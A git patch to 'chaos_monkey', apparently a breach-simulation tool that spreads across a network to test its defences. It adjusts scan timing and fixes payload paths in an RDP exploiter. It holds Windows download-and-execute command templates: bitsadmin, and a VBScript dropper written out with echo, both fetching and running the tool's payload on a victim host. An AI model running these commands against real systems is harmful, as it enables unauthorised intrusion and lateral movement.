From bc74029c7a5746fb002a5fa54681930b8d27cd63 Mon Sep 17 00:00:00 2001 From: Barak Hoffer Date: Thu, 1 Oct 2015 10:12:17 +0300 Subject: [PATCH] minor bug fix --- chaos_monkey/config.py | 4 ++-- chaos_monkey/exploit/rdpgrinder.py | 4 ++-- chaos_monkey/model/__init__.py | 4 ++-- chaos_monkey/transport/http.py | 12 ++++++++---- 4 files changed, 14 insertions(+), 10 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 62f37338f..f0dc32ec5 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -101,10 +101,10 @@ class Configuration(object): singleton_mutex_name = "{2384ec59-0df8-4ab9-918c-843740924a28}" # how long to wait between scan iterations - timeout_between_iterations = 10 + timeout_between_iterations = 120 # how many scan iterations to perform on each run - max_iterations = 2 + max_iterations = 5 scanner_class = TcpScanner finger_classes = (PingScanner, SSHFinger, SMBFinger) diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 7f9ac0d51..e7e4859f1 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -244,9 +244,9 @@ class RdpExploiter(HostExploiter): http_path, http_thread = HTTPTools.create_transfer(host, src_path) if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % {'monkey_name': os.path.basename(self._config.dropper_target_path), 'http_path' : http_path} + command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path} else: - command = RDP_CMDLINE_HTTP_BITS % {'monkey_name': os.path.basename(self._config.dropper_target_path), 'http_path' : http_path} + command = RDP_CMDLINE_HTTP_BITS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path} passwords = list(self._config.psexec_passwords[:]) known_password = host.get_credentials(self._config.psexec_user) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 61e65774c..4b6abbe17 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -7,7 +7,7 @@ MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s !SystemRoot!\\%%(monkey_name)s&&start /b !SystemRoot!\\%%(monkey_name)s %s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "!SystemRoot!\\%%(monkey_name)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c !SystemRoot!\\%%(monkey_name)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) +RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, ) +RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Exec("cmd /c %%(monkey_path)s %s")>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) from host import VictimHost \ No newline at end of file diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py index c62e949d9..960e81d25 100644 --- a/chaos_monkey/transport/http.py +++ b/chaos_monkey/transport/http.py @@ -61,8 +61,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): except IOError: self.send_error(404, "File not found") return (None, 0, 0) - fs = os.fstat(f.fileno()) - size = int(fs[6]) + size = monkeyfs.getsize(self.filename) start_range = 0 end_range = size @@ -100,8 +99,13 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): class InternalHTTPServer(BaseHTTPServer.HTTPServer): def handle_error(self, request, client_address): - #ToDo: find a better error message. - #LOG.debug("HTTPServer error from %s:%s" % client_address) + #ToDo: debug log error + # import sys + # import traceback + # print >>sys.stderr, '-'*40 + # print >>sys.stderr, 'Exception happened during processing of request from', client_address + # traceback.print_exc() + # print >>sys.stderr, '-'*40 pass class HTTPServer(threading.Thread):